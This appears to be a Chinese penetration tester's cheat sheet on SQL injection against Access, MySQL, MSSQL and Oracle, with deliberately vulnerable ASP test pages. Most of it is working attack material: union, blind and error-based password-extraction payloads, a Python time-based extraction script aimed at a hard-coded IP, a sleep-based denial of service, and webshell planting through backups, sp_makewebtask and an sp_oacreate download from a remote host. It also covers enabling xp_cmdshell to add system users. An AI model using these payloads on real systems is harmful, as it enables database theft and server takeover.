关于SQL注入的总结

虽然回家了,但是精神上一直病恹恹的,莫名其妙,搞了一学期的渗透,把经验总结一下,珠海估计去不成了,好好待在家休养生息也好。

首先搭一个简单的环境IIS7+MYSQL+ACCESS+MSSQL


环境配置:

因为装的是64位的win7所以环境配置上有一些麻烦。

ACCESS:(1)修改应用程序池高级设置,启用32为应用程序设置为TRUE (2)C:\Windows\SysWOW64\odbcad32.exe  32位数据源配置程序

MYSQL:   (1)安装相应X64驱动即可

        MSSQL:   (1)在SQL Server Configuration Manager中开启TCP/IP等协议,关闭VIA协议

连接方式:

ODBC链接

access "Driver={microsoft access driver(*.mdb)};dbq=*.mdb;uid=admin;pwd=pass;" dBase  "Driver={microsoft dbase driver(*.dbf)};driverid=277;dbq=------------;" 
Oracle  "Driver={microsoft odbc for oracle};server=oraclesever.world;uid=admin;pwd=pass;" 
MSSQL server "Driver={sql server};server=servername;database=dbname;uid=sa;pwd=pass;" 
MS text  "Driver={microsoft text driver(*.txt; *.csv)};dbq=-----;extensions=asc,csv,tab,txt;Persist SecurityInfo=false;" 
Visual Foxpro "Driver={microsoft Visual Foxpro driver};sourcetype=DBC;sourceDB=*.dbc;Exclusive=No;" 
MySQL "Driver={mysql};database=yourdatabase;uid=username;pwd=yourpassword;option=16386;"

OLEDB链接

access "Provider=microsoft.jet.oledb.4.0;data source=your_database_path;user id=admin;password=pass;" 
Oracle "Provider=OraOLEDB.Oracle;data source=dbname;user id=admin;password=pass;" 
MS SQL Server "Provider=SQLOLEDB;data source=machinename;initial catalog=dbname;userid=sa;password=pass;" 
MS text  "Provider=microsof.jet.oledb.4.0;data source=your_path;Extended Properties'text;FMT=Delimited'"


ACCESS数据库:

测试页面代码

<%
	dim db 
	const DatabaseType="ACCESS"     
	db="Database.accdb"           
	dim ConnStr
	dim conn
	ConnStr = "provider=microsoft.ace.oledb.12.0;Data Source=" & Server.MapPath(db)
	Set conn = Server.CreateObject("ADODB.Connection")
	conn.Open connstr

  	id =request("id")

	set rs=server.CreateObject("adodb.recordset") 
	sql="select * from [user] where id=" & id
	response.write sql & "<br>"

	rs.open sql,conn,1,1
	do while not rs.eof
		response.write rs("id")
		response.write rs("name")
		response.write rs("pass")
		response.write "<br>"
		rs.movenext
	loop
	conn.close
	set rs=nothing
	set conn=nothing
%>

语法支持

注释符            

ACCESS没有内置的注释符,但在没有过滤的情况下可以使用%00来当做注释符。

关键字转义符

中括号

多句执行       

 不支持

联合查询      

  在from后面必须跟一个真实存在的表名,会自动判断字符与整形,如   union select 1,2,3 from user 不用写成 union select 1,‘2’,‘3’ from user
可使用 这种形式来判断字段数
ordor by n
如果查询语句是这样,只能查到,语句中的3个字段,并不是表的真正字段数
sql="select id,title,author from [word] where id=" & id
如果是这样,将是表的真正字段数
sql="select * from [word] where id=" & id
但是,union的利用只需要知道语句中涉及的字段数,并不需要表的真正的字段数

附属查询      

  支持 top 与 limint

字符串函数    

字符串连接%2b   子字符串Mid()   字符串长度Len()    ASCII值Asc()   Chr()  

时差注入       

 无 

路径相关        

union select * from haha in '.'
Microsoft Office Access 数据库引擎无法打开文件“C:\Windows\SysWOW64\inetsrv”或无法向其写入数据。它已经被其他用户以独占方式打开,或者您没有查看或写入其数据的权限。
union select * from haha in 'c:\1.txt'
不可识别的数据库格式 'c:\1.txt'。
union select * from haha in 'c:\2.txt'
找不到文件 'c:\2.txt'。

系统表   

MSysObjects 存储所有表名的表,但是一般情况下不能访问。

系统函数       

 http://office.microsoft.com/zh-cn/access-help/HA010131676.aspx?CTT=1

盲注语句

 and (select count(id) from [user])>0
 and (select top 1 len(id) from [user] where id not in (1))>0
 and (select top 1 asc(mid(user,1,1)) from [user] where id not in (1))>0

 偏移注入      

这个方法多用于ACCESS猜不到字段名的情况,因为ACCESS不能通过系统表查询,原理还是使用union查询
这里word有8个字段,user有3个,这里经过试验不管星号加在哪,user中的数据都会被排在1,2,3,4,5后面
select * from [word] where id=1 union select 1,2,3,4,5,* from [user]
可以使用内联查询来加大user表中字段的覆盖范围
select * from [word] where id=1 union select 1,2,* from ([user] as a inner join [user] as b on a.id=b.id)
下面就是偏移注入的精髓,加入a.id 和 b.id 两个字段,来打乱后面的位置,使一些关键的字段更容易显示出来,
因为a.id b.id 在 * 中出现过,所以不会被计入字段总数中,但是第二次使用就会被记入了。
select * from [word] where id=1 union select a.id,b.id,1,2,* from ([user] as a inner join [user] as b on a.id=b.id)
由此看来,偏移注入的局限是很大的,但也不失是一种方法。


 Group by枚举字段   

 通过报错来枚举字段,有两种情况,
情况一:使用  select id,title,author from [word] 这样的语句,很简单就可以爆出字段
group by 1
试图执行的查询中不包含作为聚合函数一部分的特定表达式 'id'
group by id
试图执行的查询中不包含作为聚合函数一部分的特定表达式 'title'
group by id,title
试图执行的查询中不包含作为聚合函数一部分的特定表达式 'author' 
原理是这样,使用group by的时候一般需要聚合函数,比如sum()来搭配,程序会按照自前向后来搜索没出现在group by之中的字段,并报错。

情况二:使用 select * from [word]这样的语句,只能查询出第一个字段
having sum(1)=1
试图执行的查询中不包含作为聚合函数一部分的特定表达式 'ID' 
使用having 字句也是可以爆出字段名的,因为having是和group by搭配使用的
详细可以看这里
http://www.myhack58.com/Article/html/3/7/2009/25454.htm

ACCESS 连接 MSSQL 数据库

select * from [word] where id=1 union select * from [ODBC;Driver=SQLServer;UID=sa;PWD=nihaoa;Server=127.0.0.1;DataBase=master].information_schema.tables

写文件

这个不能在子语句或子查询,只能作为单独执行。
详细看这里http://blog.csdn.net/lake2/article/details/1409132
 SELECT * into [test.txt] in 'd:\web\' 'text;' from admin

沙盒指令 

  ACCESS有一些在沙盒模式下才可以执行的指令
HKEY_LOCAL_MACHINE\SoftWare\Microsoft\Jet\4.0\Engine\SandBoxMode
默认是2.微软关于这个键值的介绍为:
0为在任何所有者中中都禁止起用安全设置,   (在此模式下,可移执行函数)
1为仅在允许的范围之内,
2则是必须是Access的模式下,
3则是完全开启,连Access中也不支持.Access也能执行系统命令
可执行文件将以IIS匿名账户运行
如果沙盒模式开启的话,就会返回这样的错误
Microsoft JET Database Engine 错误 '80040e14'
表达式中 'curdir' 函数未定义
and 1=2 union select curdir() from msysaccessobjects
and 1=2 union select dir('c:\ ') from msysaccessobjects
union select environ(1) from msysaccessobjects
union select filedatetime('c:\boot.ini') from msysaccessobjects
union select filelen('c:\boot.ini') from msysaccessobjects
union select getattr('c:\ ') from msysaccessobjects
union select shell('') from msysaccessobjects
 

MYSQL数据库

测试页面代码

<%
	dim myHost,myDB,myUID,myPWD
	myHost = "localhost"
	myDB = "test"
	myUID = "root"
	myPWD = "nihaoa"
	myChareSet = "gb2312"
	strconnection="driver={mysql odbc 3.51 driver};server=" & myHost & ";database=" & myDB & ";user name=" & myUID & ";password=" & myPWD
	set conn = server.createobject("adodb.connection")
	conn.open strconnection
	

	set rs=server.CreateObject("adodb.recordset") 
	sql="select * from user;"
	rs.open sql,conn,1,1

	do while not rs.eof
		response.write rs("id")
		response.write rs("name")
		response.write rs("pass")
		response.write "<br>"
		rs.movenext
	loop
	conn.close
	set rs=nothing
	set conn=nothing
%>

语法支持


解决乱码

有时使用union注入时,会出现一些乱码,如下解决
convert(@@version using latin1)
unhex(hex(@@version))

 注释符           

井号(#)  双横线 (-- )后面要加一个空格   /**/ 局部注释      %00 直接截断字符串  ·反引号

关键字转义符

波浪线那个键,的那个小点符号- -!
insert into app (name,`key`,secret,status) values ('aa','bb',null,2);

多句执行        

不支持

联合查询      

  from后面无需添加表名,会自动判断字符与整形,如   union select 1,2,3  不用写成 union select 1,‘2’,‘3’ 
可使用 order by n来判断字段数,用法语ACCESS类似

附属查询       

 不支持 top 支持 limint

字符串函数  

 字符串连接  使用CONCAT()  数字使用加号
mysql> SELECT 1+"1";
    -> 2
mysql> SELECT CONCAT(2,' test');
    -> '2 test'
子字符串SUBSTRING(str,pos,len)
mysql> select SUBSTRING('Quadratically',5,6);
    -> 'ratica'
 字符串长度Lenhth()    
mysql> slect length('aaa')
    -> 3
ASCII值ASCII()  
mysql> select ASCII('2');
    -> 50
CHAR()将参数解释为整数并且返回由这些整数的ASCII代码字符组成的一个字符串。NULL值被跳过。
mysql> select CHAR(77,121,83,81,'76');
    -> 'MySQL'
mysql> select CHAR(77,77.3,'77.3');
    -> 'MMM'
LOCATE(substr IN str)
返回子串substr在字符串str第一个出现的位置,如果substr不是在str里面,返回0.
mysql> select LOCATE('bar', 'foobarbar');
    -> 4
mysql> select LOCATE('xbar', 'foobar');
    -> 0
http://www.cnblogs.com/xiaochaohuashengmi/archive/2010/12/13/1904330.html

时差注入

根据响应时间来判断,盲注的一种,貌似很鸡肋,不过把BenchMark中的count调大的话可以用来DDOS注入
id=1 union select 1,BenchMark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97
测试的时候可以灵活运用make_set来构造,需要保证选定sleep所在的位置sleep才被执行,执行完毕返回0,
make_set(1=1,sleep(10000000000),1)
蓝莲花战队写的一个python利用么还是很厉害的
from httplib import HTTPConnection

HTTPConnection._http_vsn_str = 'HTTP/1.0'

def post_payload( payload ):
    conn = HTTPConnection( '78.38.193.187' )
    conn.putrequest( 'POST', '/', skip_accept_encoding=True, skip_host=True )
    conn.putheader( 'Content-Type', 'application/x-www-form-urlencoded' )
    conn.putheader( 'Content-Length', str(len(payload)) )
    conn.endheaders( message_body=payload )
    resp = conn.getresponse()
    resp.read()

from urllib import urlencode
from time import time

def get_bool( expression ):
    start = time()
    post_payload( urlencode( dict(
        login = '',
        user_password = ' ',
        user_name = "'OR if(%s,benchmark(1500000,md5(0)),0) AND''='" % expression,
    ) ) )
    end = time()
    print 'Time:', end-start
    return end-start>0.95

def get_bit( expression ):
    return '1' if get_bool( expression ) else '0'

from itertools import count

def get_string( expression ):
    result = ''
    for i in count( start=1 ):
        char = ''
        for j in range(8)[::-1]:
            print 'Byte %d, Bit %d,' % (i,j),
            bit = get_bit( 'ascii(substr(%s,%d,1))>>%d&1' % ( expression, i, j ) )
            print bit
            char += bit
        char = int( char, 2 )
        if char == 0: break
        result += chr(char)
    return result

# def get_query( expression ):


# print get_string( 'database()' )
print get_string( '(SELECT IFNULL(CAST(table_name AS CHAR) ,0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x73716c695f6462 LIMIT 0,1)' )
# print get_string( '(SELECT IFNULL(CAST(table_name AS CHAR) ,0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=\'information_shema\' LIMIT 0,1)' )
# print get_string( '(SELECT IFNULL(CAST(COLUMN_NAME AS CHAR) ,0x20) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=\'users\' LIMIT 5,1)' )
# print get_string( '(SELECT CAST(COUNT(*) AS CHAR) FROM users)' )
# print get_string( '@@datadir' )
# print get_string( 'user()' )
# print get_string( 'version()' )


详细可参见
http://www.4ngel.net/article/49.htm

拒绝服务

使用sleep函数可以让数据库阻塞,大体语句如下,之后的mysql请求会被阻塞,直到杀死这条语句。

update test_inj set xx=1 and sleep(9999999999);


order by 参数注入

这种的盲注是比较蛋疼的,一般需要用到mysql的分支控制语句。有if  和 case 两种。
if 的语法是这样  x=x 或者是什么其他复杂的表达式成立时,表达式值为1 ,否则表达式值为2
order by if (ascii(left(user(),1))=107,1,2)

case when 的语法是这样,比较直观
order by case when (ascii(left(user(),1))=107 ) then id else null end
盲注的时候至少要知道一个字段。

还有另外一种方法就是,order by后面可以跟数字,代表第几个字段,于是乎可以使用这种方法
order by 1 and (ascii(left(user(),1))=107)
或者,这样在有些情况下也是可以的
order by xxxxxx, (ascii(left(user(),1))=107)

group by random 报错

在不能使用union的时候特别好用,直接在注入点后面加and (select)就可以
原理是这样的,在order by子句中random()函数会被调用多次,产生多个值,就会报错。同理其它会产生多次执行的语句也会报错。
RAND() in a WHERE clause is re-evaluated every time the WHERE is executed.
You cannot use a column with RAND() values in an ORDER BY clause, because ORDER BY would evaluate the column multiple times. 
一般语句是这样构造的,一般为了方便把想要爆出的数据
mysql> select * from article where id = 1 and 
	(select 1 from(
				select count(*),concat(
					(select pass from admin where id =1),
					floor(rand(0)*2)
				)x from information_schema.tables group by x
			)a
	);

ERROR 1062 (23000): Duplicate entry 'admin8881' for key 'group_key'
简化了一下,语句as 是别名的语法,其中as可以省略。
select * from te where   
(select 1 from(                         
select count(*),concat(                                
version(),
floor(rand(0)*2)                                
) as x from information_schema.tables group by x                    
) as a      
);

XML函数报错

mysql5.1提供了,两个操作XML的函数,通过构造可爆出数据。
ExtractValue
测试语句如下
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
实际测试过程
mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,
(select pass from admin limit 1)));--
ERROR 1105 (HY000): XPATH syntax error: '\admin888'
UpdateXml
测试语句
and 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))
实际测试过程
mysql> select * from article where id = 1 and 1=(updatexml(1,concat(0x5e24,
(select pass from admin limit 1),0x5e24),1));
ERROR 1105 (HY000): XPATH syntax error: '^$admin888^$'

路径相关

使用load_file('/')在某些linux系统中可以爆出目录,这个函数和cat函数类似。
 
另外可以使用搜索引擎来查找一下被收录的报错
Site:xxx.edu.tw warning
Site:xxx.com.tw “fatal error”

 

如果使用load_file 包含的文件过大,也有可能引发错误爆出绝对路径。比如包含cmd.exe

 

读写文件  

这里要注意一点,盲注的时候使用into outfile会使前面的查询结果失效,全都写入到文件里,所以页面不正常显示并不是失败了。
select load_file('c:\\2.txt');
select * from user into outfile 'c:\\2.txt';
写文件的另一种写法
select * from te into dumpfile 'c:\\2.php'
读文件还有一种比较纠结的方法
mysql>create table a (cmd text); 
mysql>load data infile 'c:\\boot.ini' into table a; 
mysql>select * from a;
在写一句话的时候为了防止前边的内容干扰可以这样写
select * from user where id=1 and 2=1 union select '一句话' into outfile 'c:\\2.txt';
通常情况下PHP网站会开启GPC,单引号被转义的话,自然是什么都读不出来,
load_file的参数也可以通过一些编码绕过过滤,
outfile的参数不能接0x开头的或者char开头的数据,所以比较悲惨
有时load_file读取的文件有乱码,可转换成16进制
select hex(load_file('c:\\2.txt'));
select hex(load_file(0x2f));
select hex(load_file(char(10,10,10,10)));

系统变量

mysql的变量调用为@xxxxxx这种形式,但是如找不到相应变量不会报错而是会返回null,根据此特性可绕过一些过滤。
详细参见
http://blog.csdn.net/wangyi_lin/article/details/9286937#t4


系统函数及常量

函数
database()  schema()  
version()  
user()   session_user()  current_user() current_user   system_user()
host_name()
http://dev.mysql.com/doc/refman/5.1/zh/functions.html
常量  使用show global variables;可列出所有常量
@@version   @@global.version_compile_os
@@HOSTNAME  @@servername




系统表

Mysql是数据库信息放在一个叫做  information_schema 的数据库里,其中SCHEMATA  TABLES COLUMNS 这几个表存储了数据库,表,以及字段的信息
 union select schema_name,1,2 from information_schema.schemata
 union select table_name,1,2 from information_schema.tables where locate(table_name,'user')>0 and table_schema='user' and table_name not in ('abc')
 union select column_name,1,2 from information_schema.columns where locate(column_name,'name')>0 and table_schema='user'and table_name='test'
使用limit的方法
 union all select 1,column_name,3 from information_schema.columns limit 0,1
 union all select 1,column_name,3 from information_schema.columns limit 1,1
 union all select 1,column_name,3 from information_schema.columns where table_name='users' limit 0,1

mysql.user存放了数据库中所有的用户信息,如果是root权限可以进行读取
union select 1,user,password from mysql.user
select host,db,name from mysql.db;





盲注语句

普通盲注语句
 and (select count(*) from user)>0
 and (select count(pass) from user)>0
 and ascii(substring((select pass from user limit 0,1),1,1)) >0
文艺盲主语句
 and (select 1 from users limit 0,1)=1
 and (select substring(concat(1,password),1,1) from users limit 0,1)=1
 and ascii(substring((SELECT concat(username,0x3a,password) from users limit 0,1),1,1))>80


MSSQL数据库

测试页面代码

<%
	MM_conn_STRING = "Driver={SQL Server};server=(local);uid=sa;pwd=nihaoa;database=test;"
	Set conn = Server.Createobject("ADODB.Connection")
	conn.open MM_conn_STRING


	id =request("id")


	set rs=server.CreateObject("adodb.recordset")
	sql="SELECT * FROM [user] where id=" & id
	rs.open SQL,conn,1,1




	do while not rs.eof
		response.write rs("id")
		response.write rs("name")
		response.write rs("pass")
		response.write "<br>"
		rs.movenext
	loop
	conn.close
	set rs=nothing
	set conn=nothing
%>  

语法支持

 注释符          

 井号(#)  双横线 (-- )后面要加一个空格   /**/ 局部注释      %00 直接截断字符串

关键字注释符号

中括号

多句执行       

 支持,加一个分号就可以
http://localhost/mssql.asp?id=1;insert%20into%20[user]%20values(3,'haha','wawa')#

联合查询       

 from后面无需添加表名,不会自动判断字符与整形,必须写成select union 1,'2','3'这样
无报错的盲注,先使用null代替,再进行逐步猜测
select union null,null,null

附属查询        

支持 top 不支持 limint

字符串函数  

length() 返回字符串长度
concat() 连接字符串
substring() 求子串
charindex ( expression1 , expression2 [ , start_location ] )   查询字符串位置
ASCII()
char()

时差注入

使用 BenchMark 和mysql类似

路径以及文件

有些系统下,服务器虚拟根目录,可能存放于注册表的 ,可使用xp_regread读取到
'HKEY_LOCAL_MACHINE','SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots'
使用xp_dirtree过程把结果写入一个表,再通过SQL语句搜索来确定网站根目录,也是可行的方法。


写文件的方法有
使用sp_makewebtesk写入

使用差异备份写入
1.完整备份一次(保存位置当然可以改)
backup database 库名 to disk = 'c:\ddd.bak';--
2.创建表并插曲入数据
create table [dbo].[dtest] ([cmd] [image]);
insert into dtest(cmd) values(0x3C25657865637574652872657175657374282261222929253E);--
3.进行差异备份
backup database 库名 to disk='目标位置\d.asp' WITH DIFFERENTIAL,FORMAT;--
上面
0x3C25657865637574652872657175657374282261222929253E
就是一句话木马的内容:<%execute(request("a"))%>

使用log增量备份
';alter database null set RECOVERY FULL--          把指定的数据库激活为还原模式
';create table cmd (a image)--
';backup log null to disk = 'f:\cmd' with init--
';insert into cmd (a) values (0x3C25657865637574652872657175657374282261222929253EDA)--
';backup log null to disk = '备份路径'--
';drop table cmd--
';alter database XXX set RECOVERY SIMPLE--
PS:0x3C2565786563757465287265717565737428226122292
9253EDA 是一句话小马16进制转来的

系统函数以及常量

常量
select @@ERROR --返回最后执行的 Transact-SQL 语句的错误代码(integer)
select @@SERVERNAME --返回运行SQL服务器名称。
select @@SERVICENAME --返回SQL正在其下运行的注册表键名
select @@LANGUAGE   --返回当前使用的语言名
select @@version;
select user;
select db_name;
函数
select USER_NAME()    --返回用户数据库用户名
select GETDATE() --当前时间
EXEC sp_configure  --显示当前服务器的全局配置设置
select IS_SRVROLEMEMBER('sysadmin') --查看用户权限
权限种类sysadmin, dbcreator, diskadmin, processadmin, serveradmin, setupadmin, securityadmin, bulkadmin

存储过程扩展

调用存储过程的时候 master..xp_cmdshell 是  master.dbo.xp_cmdshell 的简写
这里xp 是extended procedure    sp 是system procedure

xp_cmdshell
判断过程是否存在
select count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
开启存储过程
exec sp_configure 'show advanced option', 1;
reconfigure;
exec sp_configure 'xp_cmdshell' , 1;
reconfigure;
运行cmd指令
exec master..xp_cmdshell "net user wyl 123 /add";
移除存储过程的方法
 exec   master..sp_dropextendedproc   xp_cmdshell   
 exec   master..sp_dropextendedproc   xp_dirtree   
恢复存储过程的方法
exec sp_addextendedproc 'xp_cmdshell', 'xplog70.dll' 
exec sp_addextendedproc 'xp_dirtree', 'xpstar.dll' 
详细http://blog.csdn.net/gz775/article/details/6329817


xp_dirtree
 这个函数有三个参数,查询目录(可省略),递归深度  ,是否显示文件。
利用方法一般是,新建一个表然后把结果写入到其中,在结果集中搜索也可以得到网站根目录,不过较麻烦
;create table temp(dir nvarchar(255),depth varchar(255),files varchar(255),ID int NOT NULL IDENTITY(1,1));--
 
;insert into temp(dir,depth,files)exec master.dbo.xp_dirtree 'c:',1,1--

xp_regread
这是一个查询注册表的过程,有四个参数声明如下,最后一个可以省略
declare @directory varchar(200)
EXEC master..xp_regread 
        @rootkey='HKEY_LOCAL_MACHINE',
        @key='SOFTWARE\APPLICATION\SOME_MORE',
        @value_name='DIRECTORY_VALUE',
        @value= @DIRECTORY OUTPUT;
select @directory
可以用来查询超级终端的端口
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp','PortNumber'

xp_regwrite
可用来修改注册表,开启沙盘模式,
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE''SOFTWARE\Microsoft\Jet\4.0\Engines''SandBoxMode''REG_DWORD'1 
xp_regread
这里可配合ACCESS的jet引擎执行命令,这里的数据库路径是系统自带的,不同版本各有不同
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\dnary.mdb','select shell("net
user test test /add")')

sp_makewebtask 
真是作用是吧查询结果写入到文件内
这个可以用来写入文件,最常用的就是写入一句话了,详细语法其实很复杂,,不过我们用到两个函数就好
http://127.0.0.1/xxx.asp?id=123';exec sp_makewebtask 'd:\www\xxx\xxx.asp',' select ''<%execute(request("cn"))%>'' ';--
这个存储过程默认也是不开启的,开启方式与xp_cmdshell相同

sp_addlogin 
添加数据库用户
exec master.dbo.sp_addlogin test,password 
exec master.dbo.sp_addlogin test,sysadmin

sp_oacreate
可以把远程的文件存储到服务器,也是写入文件的一种方式
DECLARE @B varbinary(8000),@hr int,@http INT,@down INT 
EXEC sp_oacreate [Microsoft.XMLHTTP],@http output  
EXEC @hr = sp_oamethod @http,[Open],null,[GET],[http://www.test.com/muma.txt],0 
EXEC @hr = sp_oamethod @http,[Send],null 
EXEC @hr=sp_OAGetProperty @http,[responseBody],@B output 
EXEC @hr=sp_oacreate [ADODB.Stream],@down output 
EXEC @hr=sp_OASetProperty @down,[Type],1 EXEC @hr=sp_OASetProperty @down,[mode],3 
EXEC @hr=sp_oamethod @down,[Open],null EXEC @hr=sp_oamethod @down,[Write],null,@B 
EXEC @hr=sp_oamethod @down,[SaveToFile],null,[e:\www_iis\muma.asp],1
即可下载文件:http://www.test.com/muma.txt的内容到e:\www_iis\muma.asp成功写入一个webshell

xp_servicecontrol
服务管理,用于激活或关闭某个服务

;exec master..xp_servicecontrol 'stop','schedule'   //停止计划任务服务 
;exec master..xp_servicecontrol 'start','schedule' 
;exec master..xp_servicecontrol 'start','server'    //启动server服务

系统表


msql保存表名字段名的数据库,有两个一个和mysql一样,
information_schema,利用方法和mysql一样

sysobjects syscolumns,这两个表存放于每一个数据库中。
union all select 1,'2','3' from sysobjects where charindex('admin',name)>0 and xtype='U'
union all select 1,'2','3' from syscolumns where id=object_id('t_zxdc_Admins')--


盲注语句

and (select count(pass) from [user])>0  
and (select count(*) from [user])>0  
and substring((select top 1 pass from [user] ),1,1)>'0'

最后吐槽一下,因为mssql数据库功能很多,最近在家老是想打LOL所以现在就没有心情整理下去了,先姑且发上来,
MSSQL所有的存储过程及其函数都可以在这里找到http://msdn.microsoft.com/zh-cn,祝大家新年快乐。

ORCALE数据库

语法支持

注释符

支持  --  /**/  不支持#

关键字转义符

未知~~~(⊙o⊙)~~~

多行执行

不支持

联合查询

select 后面 必须要连接一个存在的表通常使用dual,这是一个默认的谁都有权限的表
select 123 from dual
union select 不能自动判断类型,必须写成 union select 1,'2','3' from dual 这样
判断时先使用null替代
nuion select null,null,null from dual

附属查询

oracle不支持limit,支持一个很奇怪的rownum

SQL> select test.*,rownum from test;

      TIME     ROWNUM
---------- ----------
       123          1
       123          2
       123          3
       123          4
       123          5
如果要确定输出第几个记录的话不能直接使用rownum>xxx

SQL> select * from (select test.*,rownum from test) where rownum>2;

未选定行
需要蛋疼的试用一下这个
SQL> select * from (select test.*,rownum as ron from test) where ron>2;

      TIME        RON
---------- ----------
       123          3
       123          4
       123          5


字符串函数

orcale的字符串函数,与其他数据库的字符串函数大同小异。
Lower(string)  Upper(string) 这两个函数是吧字符串转换成大写或者小写比较常见。
SQL> select upper('abc') from test;

UPPER(
------
ABC
Initcap(string)这个函数把首字母转换成大写
SQL> select initcap('abc') from test;

INITCA
------
Abc
Length(string)统计字符串长度
SQL> select length('abc') from test;

LENGTH('ABC')
-------------
            3
Substr(string,start [,count])子字符串 
SQL> select substr('abcdefg',2,2) from test;

SUBS
----
bc
Instr(string,set[,start [,occurrence ] ] )查找子字符串
SQL> select instr('abcdaeafg','a',2,2) from test;

INSTR('ABCDAEAFG','A',2,2)
--------------------------
                         7
Chr() Ascii()这两个函数基本大家都有
SQL> select ascii('F') from test;

ASCII('F')
----------
        70

SQL> select chr(70) from test;

CH
--
F
Concat(string,string)链接两个字符串,也可以使用 || 来替代,这一点是oracle独有的
SQL> select concat('a','b') from dual;

CONC
----
ab

SQL> select 'a'||'b' from dual;

'A'|
----
ab


路径相关

获取log路径,这个也可以辅助用来判断系统版本
SQL> select member from v$logfile;

MEMBER
--------------------------------------------------------------------------------

C:\ORACLEXE\APP\ORACLE\FAST_RECOVERY_AREA\XE\ONLINELOG\O1_MF_2_93DVJTM1_.LOG
C:\ORACLEXE\APP\ORACLE\FAST_RECOVERY_AREA\XE\ONLINELOG\O1_MF_1_93DVJPM1_.LOG

系统表及其函数

orcale的表名字段名也是存储在,系统默认的表中。存储这些东西的数据库叫做sys
查询所有数据库
SQL> select distinct owner from all_tables;

OWNER
------------------------------------------------------------
MDSYS
OUTLN
CTXSYS
HR
FLOWS_FILES
SYSTEM
APEX_040000
XDB
SYS
列出当前数据库还有其他几种方法
select global_name from global_name; -- current database
select sys.database_name from dual;  -- current database
select name from v$database; -- current database name , need privs
select instance_name from v$instance; -- current database name , need privs

表名存储在user_table表中,查询使用的表名一定要用大写,这里user_tables所指的是当前用户下的表,
如果想查询所有的表使用all_tables
SQL> select table_name from sys.user_tables where table_name like '%TEST%';

TABLE_NAME
------------------------------------------------------------
TEST
字段的查询也大同小异
SQL> select column_name from sys.user_tab_columns where table_name='TEST' and column
_name like '%TIME%';

COLUMN_NAME
------------------------------------------------------------
TIME
查看当前用户
SQL> select user from dual;

USER
--------------------------------------------------
SYS
也可以使用其他几种方法来查询用户
select user from dual; -- current user
select username from user_users;  -- current user
select username from all_users;   -- all user , the current user can see...
select username from dba_users;   -- all user , need pris
查看用户的hash
select name, password, astatus from sys.user$; -- password hash <=10g , need privs
select name, password, spare4 from sys.user$;      -- password has 11g , need privs
查询相应的权限
select privilege from user_sys_privs; -- privs the current user has
select privilege from role_sys_privs; -- privs the current role has
select privilege from session_privs;  -- the all privs that current user has = user_sys_privs + role_sys_privs
select * from dba_sys_privs; -- all user's privs , need privs
查看系统版本
SQL> select banner from sys.v_$version where rownum=1;

BANNER
--------------------------------------------------------------------------

Oracle Database 11g Express Edition Release 11.2.0.2.0 - Production

SQL> select banner from sys.v_$version;

BANNER
--------------------------------------------------------------------------

Oracle Database 11g Express Edition Release 11.2.0.2.0 - Production
PL/SQL Release 11.2.0.2.0 - Production
CORE    11.2.0.2.0      Production
TNS for 32-bit Windows: Version 11.2.0.2.0 - Production
NLSRTL Version 11.2.0.2.0 - Production
获取服务器内网IPget_host_name则是获取主机名
SQL> select utl_inaddr.get_host_address from dual;

GET_HOST_ADDRESS
--------------------------------------------------------------------

192.168.0.110

SQL>
使用SYS_CONTEXT这个函数可以取得很多的系统变量
当前用户
SQL> select SYS_CONTEXT ('USERENV', 'CURRENT_USER') from dual;

SYS_CONTEXT('USERENV','CURRENT_USER')
--------------------------------------------------------------------

SYS
其他很多不一一测试
SYS_CONTEXT(‘USERENV’,’TERMINAL’) terminal, 
SYS_CONTEXT(‘USERENV’,’LANGUAGE’) language, 
SYS_CONTEXT(‘USERENV’,’SESSIONID’) sessionid, 
SYS_CONTEXT(‘USERENV’,’INSTANCE’) instance, 
SYS_CONTEXT(‘USERENV’,’ENTRYID’) entryid, 
SYS_CONTEXT(‘USERENV’,’ISDBA’) isdba, 
SYS_CONTEXT(‘USERENV’,’NLS_TERRITORY’) nls_territory, 
SYS_CONTEXT(‘USERENV’,’NLS_CURRENCY’) nls_currency, 
SYS_CONTEXT(‘USERENV’,’NLS_CALENDAR’) nls_calendar, 
SYS_CONTEXT(‘USERENV’,’NLS_DATE_FORMAT’) nls_date_format, 
SYS_CONTEXT(‘USERENV’,’NLS_DATE_LANGUAGE’) nls_date_language, 
SYS_CONTEXT(‘USERENV’,’NLS_SORT’) nls_sort, 
SYS_CONTEXT(‘USERENV’,’CURRENT_USER’) current_user, 
SYS_CONTEXT(‘USERENV’,’CURRENT_USERID’) current_userid, 
SYS_CONTEXT(‘USERENV’,’SESSION_USER’) session_user, 
SYS_CONTEXT(‘USERENV’,’SESSION_USERID’) session_userid, 
SYS_CONTEXT(‘USERENV’,’PROXY_USER’) proxy_user, 
SYS_CONTEXT(‘USERENV’,’PROXY_USERID’) proxy_userid, 
SYS_CONTEXT(‘USERENV’,’DB_DOMAIN’) db_domain, 
SYS_CONTEXT(‘USERENV’,’DB_NAME’) db_name, 
SYS_CONTEXT(‘USERENV’,’HOST’) host, 
SYS_CONTEXT(‘USERENV’,’OS_USER’) os_user, 
SYS_CONTEXT(‘USERENV’,’EXTERNAL_NAME’) external_name, 
SYS_CONTEXT(‘USERENV’,’IP_ADDRESS’) ip_address, 
SYS_CONTEXT(‘USERENV’,’NETWORK_PROTOCOL’) network_protocol, 
SYS_CONTEXT(‘USERENV’,’BG_JOB_ID’) bg_job_id, 
SYS_CONTEXT(‘USERENV’,’FG_JOB_ID’) fg_job_id, 
SYS_CONTEXT(‘USERENV’,’AUTHENTICATION_TYPE’) authentication_type, 
SYS_CONTEXT(‘USERENV’,’AUTHENTICATION_DATA’) authentication_data

获取当前用户权限
SQL> select * from session_privs;

PRIVILEGE
------------------------------------------------------------------------

ALTER SYSTEM
AUDIT SYSTEM
CREATE SESSION
ALTER SESSION
RESTRICTED SESSION
CREATE TABLESPACE
